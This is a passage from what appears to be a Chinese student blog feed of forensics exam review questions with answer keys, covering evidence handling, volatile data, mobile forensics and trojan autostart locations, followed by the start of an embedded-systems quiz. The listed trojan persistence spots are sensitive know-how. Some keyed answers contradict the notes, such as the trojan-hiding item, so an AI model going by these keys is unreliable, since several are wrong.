卡</strong></p><p><strong>答案：AB</strong></p><p><strong>39. 下⾯有关 Linux 的⽤户登录信息，描述正确的有（）</strong></p><p><strong>A.lastlog 列出所有⽤户最近登录的⽇志，⽤ lastlog 命令查看</strong></p><p><strong>B.btmp 登录失败尝试的登录信息，⽤ lastb 命令查看</strong></p><p><strong>C.wtmp 列出当前和曾经登⼊系统的⽤户信息，即正确登录的所有⽤户命令，⽤ last 命令查看</strong></p><p><strong>D.utmp 列出正确登录的所有⽤户命令，⽤ last 命令查看</strong></p><p><strong>答案：ABC</strong></p><p><strong>⼿机取证的电⼦证据来源主要有（）</strong></p><p><strong>A.⼿机内存</strong></p><p><strong>B.SIM 卡</strong></p><p><strong>C.⼿机扩展的闪存卡</strong></p><p><strong>D.移动运商</strong></p><p><strong>第27&#x2F;35⻚</strong></p><p><strong>答案：ABCD</strong></p><p><strong>⼿机取证的发展⽅向有（）</strong></p><p><strong>A.继续加强对⼿机取证⼯具、软件和⽅法的研发，改善它们的取证效果，使其符合法庭取证的要求</strong></p><p><strong>B.⼿机取证专家与各⼿机⼚商通过交流协作，制定出统⼀的⼿机取证技术标准。</strong></p><p><strong>C.⽴法部⻔加强对涉及⼿机犯罪⽅法的⽴法⼯作，从法津法规上不给犯罪分⼦留下空⼦， 切实有效打击⼿机犯罪</strong></p><p><strong>D.加强移动运商的监管</strong></p><p><strong>答案：ABC</strong></p><p><strong>计算机证据与传统证据⼀样，必须是（）</strong></p><p><strong>A.可信的</strong></p><p><strong>B.准确的</strong></p><p><strong>C.完整的，使法官信服的</strong></p><p><strong>D.符合法律法规，为法庭所接受的</strong></p><p><strong>答案：ABCD</strong></p><p><strong>在计算机取证中，当系统遭到⼊侵后，可以以 IP 地址作为追踪⼊侵者的⼊⼝点。追踪⼊侵者 IP 地址常⽤的⽅法有（）</strong></p><p><strong>A.nslookup</strong></p><p><strong>B.tracert</strong></p><p><strong>C.查找 DHCP 服务器地址分配⽇志</strong></p><p><strong>D.ipconfig</strong></p><p><strong>答案：ABC</strong></p><p><strong>在对磁盘数据进⾏取证时，⾸先进⾏磁盘镜像制作。制作磁盘镜像需注意</strong></p><p><strong>以下⼏点（）。</strong></p><p><strong>A.对⽬标磁盘&#x2F;分区卸载或挂载为只读</strong></p><p><strong>B.使⽤ dd 提取镜像的时候遇到读取错误时，忽略该错误⽽不停⽌拷⻉⾏为</strong></p><p><strong>第28&#x2F;35⻚</strong></p><p><strong>C.在该磁盘&#x2F;分区读写过程中提取</strong></p><p><strong>D.为防⽌本地空间不够，可以使⽤ netcat 远程提取镜像</strong></p><p><strong>答案：ABD</strong></p><p><strong>下⾯有关⼿机取证获取证物的描述，（ ）是正确的。</strong></p><p><strong>A.在获取证物的过程，不要随便对⼿机进⾏开机或关机操作</strong></p><p><strong>B.在取证现场，准确记录相关数字证据和常规证据，可对现场及证物拍照，记录原始证物的特点和状态</strong></p><p><strong>C.因为是数字取证，在现场搜集证物时，不需要对指纹、⽑发等⾮数字证据进⾏收集</strong></p><p><strong>D.在把证物带离现场过程中，应采⽤屏蔽措施阻⽌⼿机与外界通信，同时避免物理损坏，防⽌数据被污染</strong></p><p><strong>答案：ABD</strong></p><p><strong>为了能够⻓期存在于被攻击的系统中，⽊⻢需要把⾃⼰很好隐藏起来，下⾯ （）不 是⽊⻢隐藏的⽅法。</strong></p><p><strong>A.Rootkit</strong></p><p><strong>B.添加到注册表的 RUN 项</strong></p><p><strong>C.添加到其他应⽤程序中</strong></p><p><strong>D.添加到系统服务中</strong></p><p><strong>答案：BCD</strong></p><p><strong>时间是取证的重要数据，保存在硬件或⽂件中的时间可以作为证据确定⾏为和后果。通 常 Windows 系统中涉及⽂件的 3 个时间属性：最后修改时间、最后访问时间和创建时间。下⾯有关⼏个时间的关系描述正确的是</strong></p><p><strong>（ ）。</strong></p><p><strong>A.修改时间可以早于建⽴时间，如果修改时间早于建⽴时间，表明⽂件可能被复制或移动过</strong></p><p><strong>B.在⼀个⽂件夹中，如果⼀些⽂件的修改时间等于创建时间，并且有很近的创建时间或者修改时间，那么这些⽂件有可能是从⽹上批量下载的</strong></p><p><strong>C.如果在硬盘上批量的⽂件具有很近的访问时间，这些⽂件极有可能被同⼀个⼯具软件扫描过</strong></p><p><strong>D.如果⼀个⽂件的修改时间早于创建时间，表明该⽂件可能是解压后的⽂件</strong></p><p><strong>答案：ABCD</strong></p><p><strong>android 是⼿机常⽤操作系统，下⾯有关 android ⼿机取证描述正确的是</strong></p><p><strong>（ ）。</strong></p><p><strong>A.安卓⼿机中 QQ 信息，包括帐号信息、好友信息等都存储在&#x2F;data&#x2F;data下</strong></p><p><strong>B. SQLite 数据库已经成为 android 系统的标准数据库，⼿机中常⽤到的通讯录管理软件、通话记录、短信应⽤、浏览器历史记录、以及其他即时通讯软件的聊天记录等等，采⽤的存储⽅式都是 SQLite 数据库格式。</strong></p><p><strong>C.程序执⾏过程产⽣的临时数据主要存储在静态 RAM 中，打电话最后拨打的号码，暂时存在静态 RAM 中，⼿机正常关机时才会写⼊通话记录中。</strong></p><p><strong>D.在⼿机取证时，使⽤取证精灵，在时间、对象和空间上通过对⼀部或多部⼿机数据进⾏逻辑分析，可确定⼿机持有⼈之间的关系，联系频率、通话次数、通话总时⻓等信息。</strong></p><p><strong>答案：ABCD</strong></p><h1 id="填空"><a href="#填空" class="headerlink" title="填空"></a><font color='red'>填空</font></h1><ol><li><p>安卓操作系统对于短信和彩信采用<strong>SQLite数据库</strong>的方式进行存储</p></li><li><p>iphone的三种工作模式  <strong>正常模式  恢复模式  DFU模式</strong></p></li><li><p>ios备份文件的种类  <strong>1. iCloud备份  2.iTunes备份 3.本地备份 4.第三方应用程序备份</strong></p></li><li><p>电子数据的三种性质：<strong>客观性，关联性，合法性</strong></p></li><li><p>在 Linux 系统中，有许多常用的命令可以用于执行各种任务。以下是一些常见的 Linux 命令及其作用：</p><ol><li><p><strong>ls</strong>：列出目录中的文件和子目录。</p></li><li><p><strong>cd</strong>：改变当前工作目录。</p></li><li><p><strong>pwd</strong>：显示当前工作目录的路径。</p></li><li><p><strong>mkdir</strong>：创建新目录。</p></li><li><p><strong>rm</strong>：删除文件或目录。</p></li><li><p><strong>cp</strong>：复制文件或目录。</p></li><li><p><strong>mv</strong>：移动文件或重命名文件。</p></li><li><p><strong>touch</strong>：创建空文件或更新文件的访问和修改时间戳。</p></li><li><p><strong>cat</strong>：连接文件并打印到标准输出设备上。</p></li><li><p><strong>grep</strong>：在文件中搜索指定模式。</p></li><li><p><strong>chmod</strong>：修改文件或目录的权限。</p></li><li><p><strong>chown</strong>：修改文件或目录的所有者。</p></li><li><p><strong>ps</strong>：显示当前进程的状态。</p></li><li><p><strong>top</strong>：显示系统中运行的进程的动态实时信息。</p></li><li><p><strong>kill</strong>：终止进程。</p></li><li><p><strong>ifconfig</strong>：显示或配置网络接口的信息。</p></li><li><p><strong>ping</strong>：测试与另一台计算机的连接。</p></li><li><p><strong>ssh</strong>：安全连接到远程服务器。</p></li><li><p><strong>scp</strong>：安全地复制文件到远程服务器。</p></li><li><p><strong>tar</strong>：打包或解压文件。</p></li></ol><p>这些是一些常见的 Linux 命令，覆盖了文件操作、进程管理、网络操作等多个领域。在日常使用 Linux 系统时，熟悉并掌握这些命令可以帮助您更高效地管理系统和执行各种任务。</p></li></ol><h1 id="简答分析题"><a href="#简答分析题" class="headerlink" title="简答分析题"></a><font color='red'>简答分析题</font></h1><ol><li><h2 id="简述电子取证一般程序和过程"><a href="#简述电子取证一般程序和过程" class="headerlink" title="简述电子取证一般程序和过程"></a><font color='red'>简述电子取证一般程序和过程</font></h2><p>①<strong>启动阶段</strong>：在启动电子数据取证程序时,要根据案件性质和具体情况进行各方面的准备,包括方案设计、法律文书准备、人财物资源配备等内容</p><p>②<strong>现场保护与勘查阶段</strong>：主要包括现场保护、现场访问、实地力查、现场分析、现场勘查记录、侦查实验、了解判断犯罪分子的个体特点等内容</p><p>③<strong>电子数据获取与固定阶段</strong>：即获取原始电子数据或者直接固定电子数据证据的活动.</p><p>④<strong>电子数据分析与检验阶段</strong>：常见的方法有数据搜索技术、数据恢复技术、加密解密技术、文件系统分析技术、日志分析技术、静态分析技术、动态分析技术、实时监控技术、追踪技术、数据挖掘技术等.<br>⑤<strong>评估阶段</strong>：对实施阶段所做的工作和结果进行评估.以判断实施活动是否成功完成，以及是否需要再次进行数据与固定，分析等活动。</p><p>⑥<strong>证据保管、移交与展示阶段</strong>：当涉案电子数据证据经过检验已经固定完毕后，还需要制作相关报告，并将检出的电子数据证据和原始证据介质妥善保管，按照法律程序进行移交。</p></li><li><h2 id="电子取证的原则"><a href="#电子取证的原则" class="headerlink" title="电子取证的原则"></a><font color='red'>电子取证的原则</font></h2><ol><li><strong>依法取证原则</strong>：任何证据的有效性和可采用行都取决于证据的客观性与案件事实的关联性和取证活动的合法性。</li><li><strong>保护证据完整性原则</strong>：取证过程中应保持电子数据的完整性。</li><li><strong>及时取证原则</strong>：电子数据证据的获取具有时效性，一旦确定对象后，应尽快提取证据，防止证据变更和丢失。</li><li><strong>证据连续性原则</strong>：为了在法庭采用时能证明整个调查过程的合法性，真实性，完整性，在电子数据证据从最初的获取状态到法庭提交状态应保持连续的。</li></ol></li><li><h2 id="材料题"><a href="#材料题" class="headerlink" title="材料题"></a><font color='red'>材料题</font></h2><ol><li><h3 id="现场勘察的时候，发现有处于开机状态的台式机，怎么样去进行数据保存，固定一些容易丢失的数据"><a href="#现场勘察的时候，发现有处于开机状态的台式机，怎么样去进行数据保存，固定一些容易丢失的数据" class="headerlink" title="现场勘察的时候，发现有处于开机状态的台式机，怎么样去进行数据保存，固定一些容易丢失的数据"></a>现场勘察的时候，发现有处于开机状态的台式机，怎么样去进行数据保存，固定一些容易丢失的数据</h3></li></ol><p>  <strong>看是哪个操作系统windows 和linux哪行  哪个目录  哪个文件</strong></p><ol><li><h4 id="winxp"><a href="#winxp" class="headerlink" title="winxp"></a>winxp</h4></li></ol><p>  ​     在现场勘查时，发现有处于开机状态台式机，操作系统winXP，阐述获取此证物从拍照到封存的整个操作过程，并举例列出在固定易丢失数据时应注意的数据形式。答:<br>  1)<strong>拍照</strong>记录电脑整体状态，屏幕显示内容，主机接口连接<br>  2)<strong>周边相关配件</strong><br>  3) <strong>注意易丢失数据</strong>，注意加密容器、加密文件、QQ等即时通讯数据的固定 ， 对一些关键数据、关键步骤应使用录像等方式记录，重要的文件计算MD5 值<br>  4)固定易丢失数据后，直接拔电源断电关机</p><p>  5)封条注意<strong>电源及输出接口</strong></p><ol start="2"><li><h4 id="linux"><a href="#linux" class="headerlink" title="linux"></a>linux</h4><p>在现场勘查时，发现有处于开机状态台式机，操作系统为Linux。为了保护现场，第一要务为获取现场证据，保存数据，尤其是那些容易被改变的数据。试分析如何收集获取屏幕信息，内存信息、硬盘信息、进程信息和网络连接信息。答:</p><ol><li><strong>屏幕信息</strong>：最优先的步骤是利用照相设备或录像设备记录屏幕信息，如果没有准备好图像记录设备当系统处于控制台模式时，可以直接利用管道命令将输出的内容保存到文件中。可以用setterm进行<strong>截图</strong>。<br>若系统属于X-Windows环境下，可使用X-Windows下的截图工具、 GNOME软件截图、KDE软件截图</li><li><strong>内存与硬盘信息</strong>：通过移动存储设备或者网络将系统存储器的内容记录下来。首先使用<strong>fdisk</strong>可以查看硬盘情况。然后使用<strong>mount</strong>将自己的硬盘挂载上去，最后使用dd命令将该信息存储到自己的移动硬盘中。</li><li><strong>进程信息</strong>：Linux系统提供了<strong>who、w、ps和top</strong>等查看进程信息的系统调用，用户可以结合使用这些命令了解进程的运行状态以及存活情况。使用who查看当前登录的用户、w与who相似是who的增强版、ps查看进程，top与ps相似但一个动态显示过程。<br>4)<strong>网络连接信息</strong>：可以使用<strong>netstat</strong>查看网络连接情况、路由表和网络接口信息。</li></ol></li><li><h3 id="邮件交流记录，观察关键信息，发件人收件人，发送时间，内容，哪个系统，进行罗列一下，哪个系统，哪个文件，哪个方式，或者写一些取证工具"><a href="#邮件交流记录，观察关键信息，发件人收件人，发送时间，内容，哪个系统，进行罗列一下，哪个系统，哪个文件，哪个方式，或者写一些取证工具" class="headerlink" title="邮件交流记录，观察关键信息，发件人收件人，发送时间，内容，哪个系统，进行罗列一下，哪个系统，哪个文件，哪个方式，或者写一些取证工具"></a><font color='red'>邮件交流记录，观察关键信息，发件人收件人，发送时间，内容，哪个系统，进行罗列一下，哪个系统，哪个文件，哪个方式，或者写一些取证工具</font></h3></li></ol><h3 id="从互联网，相关信息，取证技术这门课中，对于个人信息如何保护，如何文明上网，做守法公民，这门课学到哪些知识"><a href="#从互联网，相关信息，取证技术这门课中，对于个人信息如何保护，如何文明上网，做守法公民，这门课学到哪些知识" class="headerlink" title="从互联网，相关信息，取证技术这门课中，对于个人信息如何保护，如何文明上网，做守法公民，这门课学到哪些知识"></a><font color='red'>从互联网，相关信息，取证技术这门课中，对于个人信息如何保护，如何文明上网，做守法公民，这门课学到哪些知识</font></h3><h4 id="个人信息保护："><a href="#个人信息保护：" class="headerlink" title="个人信息保护："></a>个人信息保护：</h4><ol><li><p><strong>隐私意识：</strong> 学会尊重他人隐私，同时保护自己的个人信息。</p></li><li><p><strong>强密码：</strong> 使用复杂、独特的密码，并定期更换密码。</p></li><li><p><strong>防范网络钓鱼：</strong> 谨慎对待来自陌生人的信息和链接，避免泄露个人信息。</p></li><li><p><strong>保护设备安全：</strong> 安装杀毒软件、防火墙，定期更新操作系统和软件。</p></li><li><p><strong>谨慎公开个人信息：</strong> 在社交媒体等平台上注意保护个人信息，避免过度分享。</p></li><li><p><strong>双重认证：</strong> 启用双重认证功能，提高账号安全性。</p></li></ol><h4 id="文明上网："><a href="#文明上网：" class="headerlink" title="文明上网："></a>文明上网：</h4><ol><li><p><strong>网络言行规范：</strong> 尊重他人，避免使用侮辱、攻击性语言，维护网络环境和谐。</p></li><li><p><strong>辨别信息真伪：</strong> 学会辨别信息的真实性，不轻信谣言和不实信息。</p></li><li><p><strong>遵守网络规定：</strong> 遵守各网站的规定和协议，不传播违法信息。</p></li><li><p><strong>网络礼仪：</strong> 注意网络礼仪，避免恶意刷屏、灌水等行为。</p></li></ol><h4 id="做守法公民："><a href="#做守法公民：" class="headerlink" title="做守法公民："></a>做守法公民：</h4><ol><li><p><strong>遵守法律法规：</strong> 遵守国家法律，不参与网络犯罪活动。</p></li><li><p><strong>知识产权保护：</strong> 尊重他人的知识产权，不侵犯他人的版权、专利等权利。</p></li><li><p><strong>举报违法行为：</strong> 如发现网络犯罪或违法行为，应及时向相关部门举报。</p></li><li><p><strong>自我保护意识：</strong> 学会保护自己的合法权益，不轻信网络诈骗信息。</p></li></ol><h4 id="“取证技术”这门课通常涵盖了以下一些知识点："><a href="#“取证技术”这门课通常涵盖了以下一些知识点：" class="headerlink" title="“取证技术”这门课通常涵盖了以下一些知识点："></a>“取证技术”这门课通常涵盖了以下一些知识点：</h4><ol><li><p><strong>数字取证基础知识：</strong> 学习如何获取、分析和保护数字证据，包括数据恢复、数据提取和数据分析等技术。</p></li><li><p><strong>取证工具和技术：</strong> 掌握各种数字取证工具的使用方法，了解取证过程中的常见技术和方法。</p></li><li><p><strong>网络取证：</strong> 学习如何在网络环境中进行取证工作，包括追踪网络攻击者、检测网络犯罪等内容。</p></li><li><p><strong>数据隐私保护：</strong> 了解个人信息保护的重要性，学习如何保护个人隐私数据免受侵犯。</p></li><li><p><strong>法律法规：</strong> 熟悉相关的法律法规，包括网络安全法、个人信息保护法等，了解在数字取证过程中的法律责任和规定。</p></li><li><p><strong>取证报告撰写：</strong> 学习如何撰写清晰、准确的取证报告，包括证据收集、分析和结论等内容。</p></li><li><p><strong>取证伦理：</strong> 强调在进行数字取证工作时需要遵守的伦理准则和行为规范，保证取证过程的合法性和公正性。</p></li></ol></li></ol><p><strong>在现场有⼀块 500GB SATA 硬盘、 ⼀款智能⼿机(开机状态)， 请简要描述从其获取到取证分析之间所注意的事项。</strong></p><p><strong>答：1) 获取时记录其具体位置</strong></p><p><strong>2） 必要时现场记算硬盘哈希值，硬盘放⼊证物袋， 注意防磁等环境；⼿机注意开关机状态， 放⼊屏蔽袋；</strong></p><p><strong>3） 准备⼀块不⼩于 500GB 的磁盘做⽬ 标盘</strong></p><p><strong>4） 注意⼿机品牌， 操作系统、密码、配件</strong></p><p><strong>在现场勘查时， 发现有处于开机状态台式机， 操作系统 winXP， 阐述获取此证物从拍照到封存的整个操作过程， 并举例列出在固定易丢失数据时应注意的数据形式。</strong></p><p><strong>答：</strong></p><p><strong>1） 拍照记录电脑整体状态， 屏幕显示内容， 主机接⼝ 连接</strong></p><p><strong>2） 周边相关配件</strong></p><p><strong>3） 注意易丢失数据， 注意加密容器、 加密⽂件、 QQ 等即时通讯数据的固定对⼀些关键数据、 关键步骤应使⽤录像等⽅式记录，重要的⽂件计算 MD5 值</strong></p><p><strong>4） 固定易丢失数据后， 直接拔电源断电关机</strong></p><p><strong>5） 封条注意电源及输出接⼝</strong></p><p><strong>在现场勘查时， 主要考虑到电⼦数据获取的完整性和有效性， 试从完整性⻆度描述对正在运⾏的打印机、复印机的处理⽅式。</strong></p><p><strong>答：</strong></p><p><strong>1.现场录像、照相，记录现场原始状态，记录各设备之间的连线状态以及显示屏上正在提示的信息，如何在运⾏的程序是在格式化硬盘或者删除数据，应⽴即切断电源。</strong></p><p><strong>2.对于正在编辑成显示状态的⽂本、图像证据，尽可能⽴即打印输出，并注明打印时间和打印机的型号等。</strong></p><p>**3.制作现场笔录，绘制现场图 **</p><p><strong>4.收集证据，提取证据，固定证据若相关信息被加密、删改、破坏、计算机病毒、⿊客的袭扰等情况，该如何取证？解密、恢复等⽅法</strong></p><p><strong>答：</strong></p><p><strong>1）解密：备份被解密⽂件</strong></p><p><strong>对密码进⾏解译。</strong></p><p><strong>找到相应的密码⽂件后，请专业⼈员选⽤相应的解除密码⼝令软件。</strong></p><p><strong>解密后，将对案件有价值的⽂件，即可进⾏⼀般取证</strong></p><p><strong>在解密的过程中，必要的话，可以采取录象的⽅式</strong></p><p><strong>第31&#x2F;35⻚</strong> </p><p><strong>2）恢复：⼤多数计算机系统都有⾃动⽣成备份数据和恢复数据、剩余数</strong></p><p><strong>据的功能，有些重要的数据库安全系统还会为数据库准备专⻔的备份。</strong></p><p><strong>因此，可以通过对⾃动备份数据和已经被处理过的数据证据进⾏⽐较、恢</strong></p><p><strong>复，获取定案所需证据。</strong></p><p><strong>3）测试：电⼦证据内容涉及电算化资料的，应当由司法会计专家对提取的资料进⾏现场验证，验证中如发现可能与软件设计或软件使⽤有关的问题时，应当由司法会计专家现场对电算化软件进⾏数据测试（侦查实验）主要是使⽤事先制作的测试⽂件，经测试确认软件有问题时，则由计算机专家对软件进⾏检查或提取固定。</strong></p><p><strong>常⻅的易失性数据有哪些？什么情况下需要获取易失性数据？</strong></p><p><strong>答：</strong></p><p><strong>常⻅的易失性数据：系统⽇期和时间、当前运⾏的活动进程、当前的⽹络连接、当前打开的端⼝、在打开的套接字上监听的应⽤程序、当前登录的⽤户列表、剪贴板数据。获取易失性数据情况：判断易失性数据的价值、联机对易失性数据的破坏程度、确定练级调查的具体⽅法和必要的调查范围</strong></p><p><strong>简述计算机取证与司法鉴定的三⼤技术，它们保证了计算机取证与司法鉴定既能定性⼜能定量且可以随时精确重现。</strong></p><p><strong>答：只读、克隆和校验技术只读技术保护电⼦数据不被更改，从⽽保证检材数据的原始性位对位的克隆技术保证检材数据的完整复制及鉴定过程的精确重复；校验技术既能辅助克隆技术精确重复鉴定过程，⼜能够⽤于电⼦证据的保全，知识产权鉴定等</strong></p><p><strong>在现场勘查时， 发现有处于开机状态台式机， 操作系统为 Linux。为了保护现场，第⼀要务为获取现场证据，保存数据，尤其是那些容易被改变的数据。试分析如何收集获取屏幕信息，内存信息、硬盘信息、进程信息和⽹络连接信息。</strong></p><p><strong>答：</strong></p><p><strong>1）屏幕信息：最优先的步骤是利⽤照相设备或录像设备记录屏幕信息，如果没有准备好图像记录设备当系统处于控制台模式时，可以直接利⽤管道命令将输出的内容保存到⽂件中。可以⽤setterm进⾏截图。若系统属于X-Windows环境下，可使⽤X-Windows下的截图⼯具、GNOME软件截图、KDE软件截图</strong></p><p><strong>2）内存与硬盘信息：通过移动存储设备或者⽹络将系统存储器的内容记录下来。⾸先使⽤fdisk可以查看硬盘情况。然后使⽤mount将⾃⼰的硬盘挂载上去，最后使⽤dd命令将该信息存储到⾃⼰的移动硬盘中。</strong></p><p><strong>3）进程信息：Linux系统提供了who、w、ps和top等查看进程信息的系统调⽤，⽤户可以结合使⽤这些命令了解进程的运⾏状态以及存活情况。使⽤who查看当前登录的⽤户、w与who相似是who的增强版、ps查看进程，top与ps相似但⼀个动态显示过程。</strong></p><p><strong>4）⽹络连接信息：可以使⽤netstat查看⽹络连接情况、路由表和⽹络接⼝信息。如果数字取证中嫌疑⼈经常使⽤浏览器访问互联⽹，那么以互联⽹⾏为为主线，可以从哪些⽅⾯获取相关证据信息，这些信息能证明什么？写出⽹络轨迹都有哪些？</strong></p><p><strong>答：⽹站访问下拉列表、⽹站访问的历史记录、⽹站收藏夹此外，还可以从以下⼏个地⽅获取信息：</strong></p><p><strong>（1）cookies，cookies ⼀般保存在 index。Dat ⾥⾯，包括 URL 信息访问</strong></p><p><strong>⽇期时间，⽤户名等信息</strong></p><p><strong>（2）临时⽂件（⽹⻚缓存），会显示如“最近⼀次访问的时间”在 TIF 中</strong> </p><p><strong>（3）历史记录，分成按⽇期、星期、⽉份，在 index.dat 显示访问的 URL和时间</strong></p><p><strong>（4）注册表，ntuser.dat ⽂件中，有近期访问的 URL，键的名称按时间顺序排列。以原则规范计算机取证是保证电⼦证据可采性的关键，试简述由加拿⼤、法国等⼋国计算机取证⼈员组成的 G8 ⼩组提出的计算机取证原则。</strong></p><p><strong>答：</strong></p><p><strong>(1)必须应⽤标准的取证与司法鉴定过程。</strong></p><p><strong>(2)获取证据时所采⽤的任何⽅法都不能改变原始证据。</strong></p><p><strong>(3)取证与司法鉴定⼈员必须经过专⻔培训。</strong></p><p><strong>(4)完整地记录证据的获取、访向、存储或传输的过程,并妥善保存这些记录以备随时查阅。</strong></p><p><strong>(5)每位保管电⼦证据的⼈员必须对其在该证据上的任何⾏为负责。</strong></p><p><strong>(6)任何负责获取、访问、存储或传输电⼦证据的机构有责任遵循以上原则。和系统取证不同，⽹络取证通过对⽹络数据流的分析获取⾮法利⽤、⼊侵⾏为。试从多⻆度分析⽹络取证的特点。</strong></p><p><strong>答：</strong></p><p><strong>1）主要研究对象与数据报(packets)或⽹络数据流(Network Traffic)有关，⽽不仅仅局限于计算机；</strong></p><p><strong>2）为满⾜证据的实时性和连续性，⽹络取证是动态的，并且结合⼊侵前后的⽹络环境变量，可以重建⼊侵过程；</strong></p><p><strong>3）为保证证据的完整性，⽹络取证有时是分布式的，需要部署多个取证点或取证代理(Agent)，⽽且这些取证点是相关和联动的；</strong></p><p><strong>3）为实现⽹络取证，通常需要与⽹络监控(Network Monitoring)相结合。简述时间戳的作⽤及⽣成⽅法</strong></p><p><strong>答：</strong></p><p><strong>时间戳时取证⼯作中⾮常有⽤的技术，他是对数字对象进⾏登记来提供注册后特定事物存在与特定⽇期的时间和证据，它证明了数字证据在特定的事件和⽇期时存在的，并且从该是看到出庭这⼀段时间⾥不曾被修改过。时间戳产⽣的过程：</strong></p><p><strong>⽤户⾸先将需要加时间戳的⽂件⽤Hash编码加密形成摘要；</strong></p><p><strong>将该摘要发送到DTS；</strong></p><p><strong>DTS 在加⼊了收到⽂件摘要的⽇期和时间信息后再对该⽂件加密(数字签名)然后送回⽤户。⽹络取证通过对⽹络数据流的分析重建⼊侵过程，简述⽹络取证的要点。</strong></p><p><strong>答：</strong></p><p><strong>1）周界⽹络(Perimeter Network)：指在本地⽹的防⽕墙以外，与外部公⽹连接的所有设备及其连接；</strong></p><p><strong>2）端到端(End-to-End)：指攻击者的计算机到受害者的计算机的连接；⽇志相关(Log Correlation)：指各种⽇志记录在时间、⽇期、来源、⽬的甚⾄协议上满⾜⼀致性的匹配元素；</strong></p><p><strong>3）环境数据(Ambient Data)：指删除后仍然存在，以及存在于交换⽂件和slack空间的数据；</strong></p><p><strong>4）攻击现场(Attack Scenario)：将攻击再现、重建并按照逻辑顺序组织起来的事件。</strong></p><p><strong>1）发现攻击</strong></p><p><strong>2）初步分析</strong></p><p><strong>3）现场重建</strong></p><p><strong>4）取证分析</strong></p><p><strong>简述 5 种常⻅的⽊⻢⾃启动⽅式</strong></p><p><strong>答：</strong></p><p><strong>1）添加在Win.ini的[windows]字段中有启动命令[load]和[run]中，⼀般情况下“&#x3D;”后⾯是空⽩的</strong></p><p><strong>2）添加在System.ini的[boot]中，其[boot]字段的shell&#x3D;Explorer.exe是易植⼊⽊⻢的地⽅</strong></p><p><strong>3）添加在注册表的RUN项中</strong></p><p><strong>4）添加在启动⽬录中</strong></p><p><strong>5）添加在⽂件关联中</strong></p><p><strong>6）添加在其他应⽤程序中</strong></p><p><strong>7）欺骗⾃启动</strong></p><p><strong>8）添加在系统服务中</strong></p><p><strong>在取证过程，常⽤的数据恢复⽅法有哪些。</strong></p><p><strong>答：数据恢复可分为⼿⼯恢复和使⽤⼯具恢复两种</strong></p><p><strong>引导扇区恢复：使⽤dd命令备份和恢复主引导⽬录</strong></p><p><strong>分区表恢复：使⽤⼯具⾃动重建分区表</strong></p><p><strong>DBR恢复：直接Format恢复DBR、DiskEdit备份正确的DBR，然后⽤该备份做恢复、WinHex、Ntfs通过复制正常NTFS分区的DBR并更正参数恢复</strong></p><p><strong>零磁道损坏的恢复：使⽤⼯具使0磁道往后稍移⼀点，让1磁道替代0磁道；DiskEdit、DiskGenius改后存盘退出，重启系统，⽤Format格式化硬盘，完成即可⼯作</strong></p><p><strong>磁盘坏道的处理：修复逻辑坏道：使⽤Windows下的磁盘扫描⼯具，修复</strong></p><p><strong>物理坏道：⽤软件隐藏物理坏道；低级格式化修复坏道；使⽤Wipe Info修复坏道</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;【计算机取证期末复习题】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单选&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;计算机取证是将计算机调查和分析技术应⽤于对潜在的，有法律效⼒的证据的确定与提取。以下关于计算机取证的描述中，错误的是（ ）。&lt;/s</summary>
      
    
    
    
    
    <category term="取证技术" scheme="http://example.com/tags/%E5%8F%96%E8%AF%81%E6%8A%80%E6%9C%AF/"/>
    
  </entry>
  
  <entry>
    <title>嵌入式复习重点</title>
    <link href="http://example.com/2024/04/14/%E5%B5%8C%E5%85%A5%E5%BC%8F%E5%A4%8D%E4%B9%A0%E9%87%8D%E7%82%B9/"/>
    <id>http://example.com/2024/04/14/%E5%B5%8C%E5%85%A5%E5%BC%8F%E5%A4%8D%E4%B9%A0%E9%87%8D%E7%82%B9/</id>
    <published>2024-04-14T07:12:15.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="单选"><a href="#单选" class="headerlink" title="单选"></a>单选</h2><ol><li>哪个不是嵌入式系统设计的主要目标？（ D  ）</li></ol><p>A. 低成本   B. 低功耗   C. 实时要求高  D. 超高性能</p><ol start="2"><li>下面哪个系统不属于嵌入式系统？（  C ）</li></ol><p>A. 医用血氧仪       B . 汽车主动刹车系统</p><p>C. 浪潮服务器       D. 生命探测仪</p><ol start="3"><li>以下不属于嵌入式系统的是（  A  ）</li></ol><p> A.价值3万的Mini电动车 B. 车载娱乐系统</p><p> C.自动泊车系统  D.空中交通防撞系统(TCAS)</p><ol start="4"><li>嵌入式系统有别于其他系统的最大特点是（ C  ）</li></ol><p>A. 低功耗  B. 高可靠   C. 嵌入专用   D. 低成本</p><ol start="5"><li>Linux系统不安全的原因，错误的是（ D  ）</li></ol><p>A. Linux开发遵循一般的商业惯例，而不是严格的安全标准。</p><p>B. Linux的更新频率过快，每次更新都会添加上万甚至几十万行代码。</p><p>C. 设计初衷是一个高性能并且通用的操作系统，而不是高鲁棒性的关键系统。</p><p>D. 应用面太广泛，被研究的相对透彻。</p><ol start="6"><li><p>看门狗(Watch Dog)是<a class="link"   href="https://so.csdn.net/so/search?q=%E5%B5%8C%E5%85%A5%E5%BC%8F&spm=1001.2101.3001.7020" >嵌入式 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>系统中一种常用的保证系统可靠性的技术，会产生看门狗中断的是（ D  ）。<br> A. 软件喂狗       B. 处理器温度过高<br> C. 外部中断       D. 看门狗定时器超时</p></li><li><p>关于虚拟内存的作用，说法错误的是（  C  ）</p></li></ol><p>A. 隐藏了代码和数据的物理地址，使得攻击者很难发觉内在的操作和状态。</p><p>B. 是作为内存使用的一部分硬盘空间。</p><p>C. 是数据交换的缓冲区，帮助硬盘更快地工作。</p><p>D. 可以选择性将内存页映射和去映射到一个虚拟的地址空间</p><ol start="8"><li>2型虚拟机管理程序相比1型虚拟机管理程序最本质的区别是（ D  ）</li></ol><p>A. 前者速度慢于后者   B. 前者支持的应用多于后者 </p><p>C. 前者的可移植性好   D. 前者的安全性取决于宿主机操作系统的安全性。</p><ol start="9"><li>设计实时操作系统时，首先应该考虑系统的（ B  ）</li></ol><p>A．可靠性和灵活性   B．实时性和可靠性</p><p>C．分配性和可靠性   D．灵活性和实时性</p><ol start="10"><li>在常用的身份认证方式中，（  B ）是采用软硬件相结合、一次一密的强双因子认证模式，具有安全性、移动性和使用的方便性。</li></ol><p>A. 智能卡认证     B. 动态令牌认证</p><p>C. USB Key      D. 用户名及密码方式认证</p><ol start="11"><li>关于访问控制的说法错误的是（ 